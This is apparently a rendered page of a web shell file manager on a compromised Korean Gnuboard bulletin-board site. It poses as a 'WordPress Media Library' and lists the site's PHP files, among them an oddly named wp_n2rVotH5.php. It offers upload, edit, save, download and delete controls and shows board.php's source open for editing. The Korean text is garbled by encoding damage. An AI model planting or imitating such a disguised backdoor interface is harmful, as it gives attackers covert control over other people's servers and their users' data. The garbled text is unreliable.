โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: board.php
Size: 11.27 KB | Modified: 2019-12-05 09:09:25
<?php include_once('./_common.php'); if (!$board['bo_table']) { alert('์กด์ฌํ์ง ์๋ ๊ฒ์ํ์ ๋๋ค.', G5_URL); } check_device($board['bo_device']); if (isset($write['wr_is_comment']) && $write['wr_is_comment']) { goto_url(get_pretty_url($bo_table, $write['wr_parent'], '#c_'.$wr_id)); } if (!$bo_table) { $msg = "bo_table ๊ฐ์ด ๋์ด์ค์ง ์์์ต๋๋ค.\\n\\nboard.php?bo_table=code ์ ๊ฐ์ ๋ฐฉ์์ผ๋ก ๋๊ฒจ ์ฃผ์ธ์."; alert($msg); } $g5['board_title'] = ((G5_IS_MOBILE && $board['bo_mobile_subject']) ? $board['bo_mobile_subject'] : $board['bo_subject']); // wr_id ๊ฐ์ด ์์ผ๋ฉด ๊ธ์ฝ๊ธฐ if ((isset($wr_id) && $wr_id) || (isset($wr_seo_title) && $wr_seo_title)) { // ๊ธ์ด ์์ ๊ฒฝ์ฐ ํด๋น ๊ฒ์ํ ๋ชฉ๋ก์ผ๋ก ์ด๋ if (!$write['wr_id']) { $msg = '๊ธ์ด ์กด์ฌํ์ง ์์ต๋๋ค.\\n\\n๊ธ์ด ์ญ์ ๋์๊ฑฐ๋ ์ด๋๋ ๊ฒฝ์ฐ์ ๋๋ค.'; alert($msg, get_pretty_url($bo_table)); } // ๊ทธ๋ฃน์ ๊ทผ ์ฌ์ฉ if (isset($group['gr_use_access']) && $group['gr_use_access']) { if ($is_guest) { $msg = "๋นํ์์ ์ด ๊ฒ์ํ์ ์ ๊ทผํ ๊ถํ์ด ์์ต๋๋ค.\\n\\nํ์์ด์๋ผ๋ฉด ๋ก๊ทธ์ธ ํ ์ด์ฉํด ๋ณด์ญ์์ค."; alert($msg, G5_BBS_URL.'/login.php?wr_id='.$wr_id.$qstr.'&url='.urlencode(get_pretty_url($bo_table, $wr_id, $qstr))); } // ๊ทธ๋ฃน๊ด๋ฆฌ์ ์ด์์ด๋ผ๋ฉด ํต๊ณผ if ($is_admin == "super" || $is_admin == "group") { ; } else { // ๊ทธ๋ฃน์ ๊ทผ $sql = " select count(*) as cnt from {$g5['group_member_table']} where gr_id = '{$board['gr_id']}' and mb_id = '{$member['mb_id']}' "; $row = sql_fetch($sql); if (!$row['cnt']) { alert("์ ๊ทผ ๊ถํ์ด ์์ผ๋ฏ๋ก ๊ธ์ฝ๊ธฐ๊ฐ ๋ถ๊ฐํฉ๋๋ค.\\n\\n๊ถ๊ธํ์ ์ฌํญ์ ๊ด๋ฆฌ์์๊ฒ ๋ฌธ์ ๋ฐ๋๋๋ค.", G5_URL); } } } // ๋ก๊ทธ์ธ๋ ํ์์ ๊ถํ์ด ์ค์ ๋ ์ฝ๊ธฐ ๊ถํ๋ณด๋ค ์๋ค๋ฉด if ($member['mb_level'] < $board['bo_read_level']) { if ($is_member) alert('๊ธ์ ์ฝ์ ๊ถํ์ด ์์ต๋๋ค.', G5_URL); else alert('๊ธ์ ์ฝ์ ๊ถํ์ด ์์ต๋๋ค.\\n\\nํ์์ด์๋ผ๋ฉด ๋ก๊ทธ์ธ ํ ์ด์ฉํด ๋ณด์ญ์์ค.', G5_BBS_URL.'/login.php?wr_id='.$wr_id.$qstr.'&url='.urlencode(get_pretty_url($bo_table, $wr_id, $qstr))); } // ๋ณธ์ธํ์ธ์ ์ฌ์ฉํ๋ค๋ฉด if ($config['cf_cert_use'] && !$is_admin) { // ์ธ์ฆ๋ ํ์๋ง ๊ฐ๋ฅ if ($board['bo_use_cert'] != '' && $is_guest) { alert('์ด ๊ฒ์ํ์ ๋ณธ์ธํ์ธ ํ์ ํ์๋๋ง ๊ธ์ฝ๊ธฐ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.\\n\\nํ์์ด์๋ผ๋ฉด ๋ก๊ทธ์ธ ํ ์ด์ฉํด ๋ณด์ญ์์ค.', G5_BBS_URL.'/login.php?wr_id='.$wr_id.$qstr.'&url='.urlencode(get_pretty_url($bo_table, $wr_id, $qstr))); } if ($board['bo_use_cert'] == 'cert' && !$member['mb_certify']) { alert('์ด ๊ฒ์ํ์ ๋ณธ์ธํ์ธ ํ์ ํ์๋๋ง ๊ธ์ฝ๊ธฐ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.\\n\\nํ์์ ๋ณด ์์ ์์ ๋ณธ์ธํ์ธ์ ํด์ฃผ์๊ธฐ ๋ฐ๋๋๋ค.', G5_URL); } if ($board['bo_use_cert'] == 'adult' && !$member['mb_adult']) { alert('์ด ๊ฒ์ํ์ ๋ณธ์ธํ์ธ์ผ๋ก ์ฑ์ธ์ธ์ฆ ๋ ํ์๋๋ง ๊ธ์ฝ๊ธฐ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.\\n\\nํ์ฌ ์ฑ์ธ์ธ๋ฐ ๊ธ์ฝ๊ธฐ๊ฐ ์๋๋ค๋ฉด ํ์์ ๋ณด ์์ ์์ ๋ณธ์ธํ์ธ์ ๋ค์ ํด์ฃผ์๊ธฐ ๋ฐ๋๋๋ค.', G5_URL); } if ($board['bo_use_cert'] == 'hp-cert' && $member['mb_certify'] != 'hp') { alert('์ด ๊ฒ์ํ์ ํด๋ํฐ ๋ณธ์ธํ์ธ ํ์ ํ์๋๋ง ๊ธ์ฝ๊ธฐ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.\\n\\nํ์์ ๋ณด ์์ ์์ ํด๋ํฐ ๋ณธ์ธํ์ธ์ ํด์ฃผ์๊ธฐ ๋ฐ๋๋๋ค.', G5_URL); } if ($board['bo_use_cert'] == 'hp-adult' && (!$member['mb_adult'] || $member['mb_certify'] != 'hp')) { alert('์ด ๊ฒ์ํ์ ํด๋ํฐ ๋ณธ์ธํ์ธ์ผ๋ก ์ฑ์ธ์ธ์ฆ ๋ ํ์๋๋ง ๊ธ์ฝ๊ธฐ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.\\n\\nํ์ฌ ์ฑ์ธ์ธ๋ฐ ๊ธ์ฝ๊ธฐ๊ฐ ์๋๋ค๋ฉด ํ์์ ๋ณด ์์ ์์ ํด๋ํฐ ๋ณธ์ธํ์ธ์ ๋ค์ ํด์ฃผ์๊ธฐ ๋ฐ๋๋๋ค.', G5_URL); } } // ์์ ์ ๊ธ์ด๊ฑฐ๋ ๊ด๋ฆฌ์๋ผ๋ฉด ํต๊ณผ if (($write['mb_id'] && $write['mb_id'] === $member['mb_id']) || $is_admin) { ; } else { // ๋น๋ฐ๊ธ์ด๋ผ๋ฉด if (strstr($write['wr_option'], "secret")) { // ํ์์ด ๋น๋ฐ๊ธ์ ์ฌ๋ฆฌ๊ณ ๊ด๋ฆฌ์๊ฐ ๋ต๋ณ๊ธ์ ์ฌ๋ ธ์ ๊ฒฝ์ฐ // ํ์์ด ๊ด๋ฆฌ์๊ฐ ์ฌ๋ฆฐ ๋ต๋ณ๊ธ์ ๋ฐ๋ก ๋ณผ ์ ์๋ ์ค๋ฅ๋ฅผ ์์ $is_owner = false; if ($write['wr_reply'] && $member['mb_id']) { $sql = " select mb_id from {$write_table} where wr_num = '{$write['wr_num']}' and wr_reply = '' and wr_is_comment = 0 "; $row = sql_fetch($sql); if ($row['mb_id'] === $member['mb_id']) $is_owner = true; } $ss_name = 'ss_secret_'.$bo_table.'_'.$write['wr_num']; if (!$is_owner) { //$ss_name = "ss_secret_{$bo_table}_{$wr_id}"; // ํ๋ฒ ์ฝ์ ๊ฒ์๋ฌผ์ ๋ฒํธ๋ ์ธ์ ์ ์ ์ฅ๋์ด ์๊ณ ๊ฐ์ ๊ฒ์๋ฌผ์ ์ฝ์ ๊ฒฝ์ฐ๋ ๋ค์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ฌป์ง ์์ต๋๋ค. // ์ด ๊ฒ์๋ฌผ์ด ์ ์ฅ๋ ๊ฒ์๋ฌผ์ด ์๋๋ฉด์ ๊ด๋ฆฌ์๊ฐ ์๋๋ผ๋ฉด //if ("$bo_table|$write['wr_num']" != get_session("ss_secret")) if (!get_session($ss_name)) goto_url(G5_BBS_URL.'/password.php?w=s&bo_table='.$bo_table.'&wr_id='.$wr_id.$qstr); } set_session($ss_name, TRUE); } } // ํ๋ฒ ์ฝ์๊ธ์ ๋ธ๋ผ์ฐ์ ๋ฅผ ๋ซ๊ธฐ์ ๊น์ง๋ ์นด์ดํธ๋ฅผ ์ฆ๊ฐ์ํค์ง ์์ $ss_name = 'ss_view_'.$bo_table.'_'.$wr_id; if (!get_session($ss_name)) { sql_query(" update {$write_table} set wr_hit = wr_hit + 1 where wr_id = '{$wr_id}' "); // ์์ ์ ๊ธ์ด๋ฉด ํต๊ณผ if ($write['mb_id'] && $write['mb_id'] === $member['mb_id']) { ; } else if ($is_guest && $board['bo_read_level'] == 1 && $write['wr_ip'] == $_SERVER['REMOTE_ADDR']) { // ๋นํ์์ด๋ฉด์ ์ฝ๊ธฐ๋ ๋ฒจ์ด 1์ด๊ณ ๋ฑ๋ก๋ ์์ดํผ๊ฐ ๊ฐ๋ค๋ฉด ์์ ์ ๊ธ์ด๋ฏ๋ก ํต๊ณผ ; } else { // ๊ธ์ฝ๊ธฐ ํฌ์ธํธ๊ฐ ์ค์ ๋์ด ์๋ค๋ฉด if ($config['cf_use_point'] && $board['bo_read_point'] && $member['mb_point'] + $board['bo_read_point'] < 0) alert('๋ณด์ ํ์ ํฌ์ธํธ('.number_format($member['mb_point']).')๊ฐ ์๊ฑฐ๋ ๋ชจ์๋ผ์ ๊ธ์ฝ๊ธฐ('.number_format($board['bo_read_point']).')๊ฐ ๋ถ๊ฐํฉ๋๋ค.\\n\\nํฌ์ธํธ๋ฅผ ๋ชจ์ผ์ ํ ๋ค์ ๊ธ์ฝ๊ธฐ ํด ์ฃผ์ญ์์ค.'); insert_point($member['mb_id'], $board['bo_read_point'], ((G5_IS_MOBILE && $board['bo_mobile_subject']) ? $board['bo_mobile_subject'] : $board['bo_subject']).' '.$wr_id.' ๊ธ์ฝ๊ธฐ', $bo_table, $wr_id, '์ฝ๊ธฐ'); } set_session($ss_name, TRUE); } $g5['title'] = strip_tags(conv_subject($write['wr_subject'], 255))." > ".$g5['board_title']; } else { if ($member['mb_level'] < $board['bo_list_level']) { if ($member['mb_id']) alert('๋ชฉ๋ก์ ๋ณผ ๊ถํ์ด ์์ต๋๋ค.', G5_URL); else alert('๋ชฉ๋ก์ ๋ณผ ๊ถํ์ด ์์ต๋๋ค.\\n\\nํ์์ด์๋ผ๋ฉด ๋ก๊ทธ์ธ ํ ์ด์ฉํด ๋ณด์ญ์์ค.', G5_BBS_URL.'/login.php?'.$qstr.'&url='.urlencode(G5_BBS_URL.'/board.php?bo_table='.$bo_table.($qstr?'&':''))); } // ๋ณธ์ธํ์ธ์ ์ฌ์ฉํ๋ค๋ฉด if ($config['cf_cert_use'] && !$is_admin) { // ์ธ์ฆ๋ ํ์๋ง ๊ฐ๋ฅ if ($board['bo_use_cert'] != '' && $is_guest) { alert('์ด ๊ฒ์ํ์ ๋ณธ์ธํ์ธ ํ์ ํ์๋๋ง ๊ธ์ฝ๊ธฐ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.\\n\\nํ์์ด์๋ผ๋ฉด ๋ก๊ทธ์ธ ํ ์ด์ฉํด ๋ณด์ญ์์ค.', G5_BBS_URL.'/login.php?wr_id='.$wr_id.$qstr.'&url='.urlencode(get_pretty_url($bo_table, $wr_id, $qstr))); } if ($board['bo_use_cert'] == 'cert' && !$member['mb_certify']) { alert('์ด ๊ฒ์ํ์ ๋ณธ์ธํ์ธ ํ์ ํ์๋๋ง ๊ธ์ฝ๊ธฐ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.\\n\\nํ์์ ๋ณด ์์ ์์ ๋ณธ์ธํ์ธ์ ํด์ฃผ์๊ธฐ ๋ฐ๋๋๋ค.', G5_URL); } if ($board['bo_use_cert'] == 'adult' && !$member['mb_adult']) { alert('์ด ๊ฒ์ํ์ ๋ณธ์ธํ์ธ์ผ๋ก ์ฑ์ธ์ธ์ฆ ๋ ํ์๋๋ง ๊ธ์ฝ๊ธฐ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.\\n\\nํ์ฌ ์ฑ์ธ์ธ๋ฐ ๊ธ์ฝ๊ธฐ๊ฐ ์๋๋ค๋ฉด ํ์์ ๋ณด ์์ ์์ ๋ณธ์ธํ์ธ์ ๋ค์ ํด์ฃผ์๊ธฐ ๋ฐ๋๋๋ค.', G5_URL); } if ($board['bo_use_cert'] == 'hp-cert' && $member['mb_certify'] != 'hp') { alert('์ด ๊ฒ์ํ์ ํด๋ํฐ ๋ณธ์ธํ์ธ ํ์ ํ์๋๋ง ๊ธ์ฝ๊ธฐ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.\\n\\nํ์์ ๋ณด ์์ ์์ ํด๋ํฐ ๋ณธ์ธํ์ธ์ ํด์ฃผ์๊ธฐ ๋ฐ๋๋๋ค.', G5_URL); } if ($board['bo_use_cert'] == 'hp-adult' && (!$member['mb_adult'] || $member['mb_certify'] != 'hp')) { alert('์ด ๊ฒ์ํ์ ํด๋ํฐ ๋ณธ์ธํ์ธ์ผ๋ก ์ฑ์ธ์ธ์ฆ ๋ ํ์๋๋ง ๊ธ์ฝ๊ธฐ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.\\n\\nํ์ฌ ์ฑ์ธ์ธ๋ฐ ๊ธ์ฝ๊ธฐ๊ฐ ์๋๋ค๋ฉด ํ์์ ๋ณด ์์ ์์ ํด๋ํฐ ๋ณธ์ธํ์ธ์ ๋ค์ ํด์ฃผ์๊ธฐ ๋ฐ๋๋๋ค.', G5_URL); } } if (!isset($page) || (isset($page) && $page == 0)) $page = 1; $g5['title'] = $g5['board_title'].' '.$page.' ํ์ด์ง'; } include_once(G5_PATH.'/head.sub.php'); $width = $board['bo_table_width']; if ($width <= 100) $width .= '%'; else $width .='px'; // IP๋ณด์ด๊ธฐ ์ฌ์ฉ ์ฌ๋ถ $ip = ""; $is_ip_view = $board['bo_use_ip_view']; if ($is_admin) { $is_ip_view = true; if ($write && array_key_exists('wr_ip', $write)) { $ip = $write['wr_ip']; } } else { // ๊ด๋ฆฌ์๊ฐ ์๋๋ผ๋ฉด IP ์ฃผ์๋ฅผ ๊ฐ์ถํ ๋ณด์ฌ์ค๋๋ค. if (isset($write['wr_ip'])) { $ip = preg_replace("/([0-9]+).([0-9]+).([0-9]+).([0-9]+)/", G5_IP_DISPLAY, $write['wr_ip']); } } // ๋ถ๋ฅ ์ฌ์ฉ $is_category = false; $category_name = ''; if ($board['bo_use_category']) { $is_category = true; if (array_key_exists('ca_name', $write)) { $category_name = $write['ca_name']; // ๋ถ๋ฅ๋ช } } // ์ถ์ฒ ์ฌ์ฉ $is_good = false; if ($board['bo_use_good']) $is_good = true; // ๋น์ถ์ฒ ์ฌ์ฉ $is_nogood = false; if ($board['bo_use_nogood']) $is_nogood = true; $admin_href = ""; // ์ต๊ณ ๊ด๋ฆฌ์ ๋๋ ๊ทธ๋ฃน๊ด๋ฆฌ์๋ผ๋ฉด if ($member['mb_id'] && ($is_admin === 'super' || $group['gr_admin'] === $member['mb_id'])) $admin_href = G5_ADMIN_URL.'/board_form.php?w=u&bo_table='.$bo_table; include_once(G5_BBS_PATH.'/board_head.php'); // ๊ฒ์๋ฌผ ์์ด๋๊ฐ ์๋ค๋ฉด ๊ฒ์๋ฌผ ๋ณด๊ธฐ๋ฅผ INCLUDE if (isset($wr_id) && $wr_id) { include_once(G5_BBS_PATH.'/view.php'); } // ์ ์ฒด๋ชฉ๋ก๋ณด์ด๊ธฐ ์ฌ์ฉ์ด "์" ๋๋ wr_id ๊ฐ์ด ์๋ค๋ฉด ๋ชฉ๋ก์ ๋ณด์ //if ($board['bo_use_list_view'] || empty($wr_id)) if ($member['mb_level'] >= $board['bo_list_level'] && $board['bo_use_list_view'] || empty($wr_id)) include_once (G5_BBS_PATH.'/list.php'); include_once(G5_BBS_PATH.'/board_tail.php'); echo "\n<!-- ์ฌ์ฉ์คํจ : ".(G5_IS_MOBILE ? $board['bo_mobile_skin'] : $board['bo_skin'])." -->\n"; include_once(G5_PATH.'/tail.sub.php'); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete